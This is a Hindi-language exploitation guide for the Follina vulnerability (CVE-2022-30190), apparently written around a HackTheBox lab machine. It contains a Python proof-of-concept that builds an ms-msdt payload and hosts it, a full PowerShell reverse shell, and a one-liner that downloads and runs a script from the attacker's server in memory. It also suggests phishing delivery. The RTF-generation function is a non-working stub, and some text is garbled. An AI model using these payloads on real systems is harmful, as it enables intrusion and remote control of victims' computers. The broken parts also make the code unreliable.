
CVE-2022-30190 (Follina) के लिए स्वचालित PoC एक्सप्लॉइट जो दुर्भावनापूर्ण RTF/DOCX फ़ाइलें उत्पन्न करता है, MSDT प्रोटोकॉल का दुरुपयोग करके मनमाने कमांड निष्पादित करता है और PowerShell के माध्यम से रिवर्स शेल तैनात करता है।
फ़ोलिना (CVE-2022-30190) माइक्रोसॉफ्ट सपोर्ट डायग्नोस्टिक टूल (MSDT) को प्रभावित करने वाली एक गंभीर रिमोट कमांड निष्पादन (RCE) भेद्यता है। यह खामी मूल रूप से VirusTotal पर पाए गए एक दुर्भावनापूर्ण फ़ाइल के माध्यम से खोजी गई थी और इसका नाम शोधकर्ता केविन ब्यूमोंट ने रखा था।
HackTheBox की Outdated मशीन के संदर्भ में, इस भेद्यता का उपयोग सिस्टम तक पहुँच प्राप्त करने के लिए प्राथमिक प्रवेश वेक्टर के रूप में किया जाता है।
शोषण ms-msdt प्रोटोकॉल योजना के दुरुपयोग पर आधारित है, जो एक हमलावर को बाहरी संसाधनों को लोड करके मनमाना कोड निष्पादित करने की अनुमति देता है। हमला केवल एक विशेष रूप से तैयार किए गए Office दस्तावेज़ (DOCX) या रिच टेक्स्ट फ़ाइल (RTF) को खोलने या पूर्वावलोकन करने से सक्रिय हो सकता है।
हमले को स्वचालित करने के लिए, GitHub जैसे प्लेटफार्मों पर उपलब्ध प्रूफ-ऑफ-कॉन्सेप्ट (PoC) स्क्रिप्ट का उपयोग करने की अनुशंसा की जाती है। follina.py स्क्रिप्ट पेलोड को आसानी से कॉन्फ़िगर करने की अनुमति देती है।
सुझाया गया रिपॉजिटरी: जॉन हैमंड या Edge-Security जैसे शोधकर्ताओं के कार्यात्मक संस्करणों का उल्लेख किया गया है।
जनरेशन कमांड:
python3 follina.py -m command -t rtf -c "निष्पादित_करने_का_कमांड"
जहाँ:
-m निष्पादन मोड (command या binary) इंगित करता है-t फ़ाइल प्रकार (rtf या docx)-c इंजेक्ट करने के लिए कमांडविंडोज़ में एक इंटरैक्टिव कंसोल प्राप्त करने का एक प्रभावी तरीका एक PowerShell स्टेटमेंट इंजेक्ट करना है जो Nishang सूट (Invoke-PowerShellTcp.ps1) से एक रिवर्स शेल डाउनलोड और आह्वान करता है।
शोषण स्क्रिप्ट एक दुर्भावनापूर्ण HTML संसाधन उत्पन्न करती है जिसमें Base64 में निर्देश होता है और इसे स्वचालित रूप से एक स्थानीय वेब सर्वर (पोर्ट 80) पर होस्ट करती है। दुर्भावनापूर्ण दस्तावेज़ (click_me.rtf) विंडोज डायग्नोस्टिक प्रक्रिया को ट्रिगर करने और कोड निष्पादित करने के लिए इस URL की ओर इशारा करेगा।
यथार्थवादी या ऑडिट परिदृश्यों में, हमलावर HTML संसाधन या दुर्भावनापूर्ण दस्तावेज़ के लिंक को फ़िशिंग या SMTP तकनीकों (जैसे swaks टूल का उपयोग करके) के माध्यम से पीड़ित को भेज सकता है।
उपयोगकर्ता की सहभागिता (या एक स्वचालित कार्य जो फ़ाइल को संसाधित करता है) के समय, MSDT पेलोड की व्याख्या करता है और हमलावर की मशीन पर वापस एक कनेक्शन स्थापित करता है।
कनेक्शन प्राप्त करने के लिए, हमलावर को रिवर्स शेल में कॉन्फ़िगर किए गए पोर्ट पर सुनना होगा (उदाहरण के लिए, netcat या rlwrap के साथ)। सफल शोषण के बाद, कार्रवाई करने वाले उपयोगकर्ता के विशेषाधिकारों के साथ एक इंटरैक्टिव कंसोल प्राप्त होता है, जो स्थानीय गणना और विशेषाधिकार वृद्धि के साथ आगे बढ़ने की अनुमति देता है।
follina.py स्क्रिप्ट का कार्यान्वयनयह स्क्रिप्ट दुर्भावनापूर्ण फ़ाइल (RTF या DOCX) के निर्माण को स्वचालित करती है, HTML संसाधन उत्पन्न करती है जो ms-msdt प्रोटोकॉल योजना का शोषण करता है, और पेलोड परोसने के लिए एक स्थानीय सर्वर शुरू करता है।
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
# El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload que abusa del protocolo ms-msdt [5]
# Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Relleno adicional para asegurar el procesamiento
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
print(f"[*] Generando archivo malicioso: {filename}")
# Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
with open(filename, "w") as f:
f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
args = parser.parse_args()
# 1. Crear el payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Crear el documento malicioso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. Iniciar el servidor para recibir la petición [4, 7]
run_server(args.port)
महत्वपूर्ण पैरामीटर: जैसा कि स्रोतों में वर्णित है, स्क्रिप्ट मोड के लिए -m, फ़ाइल प्रकार के लिए -t और कमांड के लिए -c का उपयोग करती है।
PowerShell इंजेक्शन: s4vitar प्रशिक्षण में देखा गया एक सामान्य उपयोग इंटरैक्टिव एक्सेस प्राप्त करने के लिए एक PowerShell स्टेटमेंट इंजेक्ट करना है जो Nishang रिवर्स शेल (Invoke-PowerShellTcp.ps1) को डाउनलोड और आह्वान करता है।
निष्पादन: हमला तब सक्रिय होता है जब पीड़ित दुर्भावनापूर्ण फ़ाइल (RTF/DOCX) को खोलता है या केवल देखता है, जिससे सिस्टम HTML संसाधन को लोड करने का प्रयास करता है और माइक्रोसॉफ्ट डायग्नोस्टिक टूल (MSDT) के माध्यम से कमांड निष्पादित करता है।
सुनना: आपको अपनी रिवर्स शेल में निर्दिष्ट पोर्ट पर सुनना होगा (उदाहरण के लिए netcat के साथ) ताकि पीड़ित मशीन पर एक्सप्लॉइट ट्रिगर होने पर कनेक्शन प्राप्त हो सके।
Invoke-PowerShellTcp.ps1 स्क्रिप्ट (Nishang)Invoke-PowerShellTcp.ps1 स्क्रिप्ट विंडोज सिस्टम पर रिवर्स शेल प्राप्त करने के लिए Nishang सूट के सबसे अधिक उपयोग किए जाने वाले टूल में से एक है।
मूल स्क्रिप्ट GitHub पर Nishang के आधिकारिक रिपॉजिटरी से डाउनलोड की जाती है। इसके उपयोग के विशिष्ट चरण हैं:
wget का उपयोग किया जाता है।reverse.ps1 या ps.ps1 में बदल दिया जाता है।स्क्रिप्ट को एक स्व-निष्पादन योग्य पेलोड में बदलने के लिए, .ps1 फ़ाइल के अंत में निम्नलिखित पंक्ति जोड़ी जाती है:
Invoke-PowerShellTcp -Reverse -IPAddress <तुम्हारा_हमलावर_आईपी> -Port <तुम्हारा_पोर्ट>
जहाँ <तुम्हारा_हमलावर_आईपी> और <तुम्हारा_पोर्ट> को आपके सुनने के विवरण से बदला जाना चाहिए (उदाहरण के लिए, 10.10.14.29 और 443)।
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(नोट: यह कोड कंपाइल्ड जैसी मशीनों के समाधान में उल्लिखित "gitbash" और इंटरैक्टिव टर्मिनलों के तर्क का अनुसरण करता है।)
एक बार हमलावर के पास स्क्रिप� स्थानीय HTTP सर्वर (पोर्ट 80) पर होस्ट हो जाने के बाद, पीड़ित मशीन पर इसे डिस्क को छुए बिना सीधे मेमोरी में लोड और निष्पादित करने के लिए IEX (Invoke-Expression) कमांड का उपयोग किया जाता है:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<तुम्हारा_आईपी>/reverse.ps1')"
यह विधि Follina जैसी भेद्यताओं के शोषण या वेब सेवाओं से समझौता करने के बाद प्रारंभिक पहुँच प्राप्त करने में मौलिक है। एक बार निष्पादित होने के बाद, हमलावर को सुन रहे netcat सत्र में कनेक्शन प्राप्त होता है।
Pwned!!!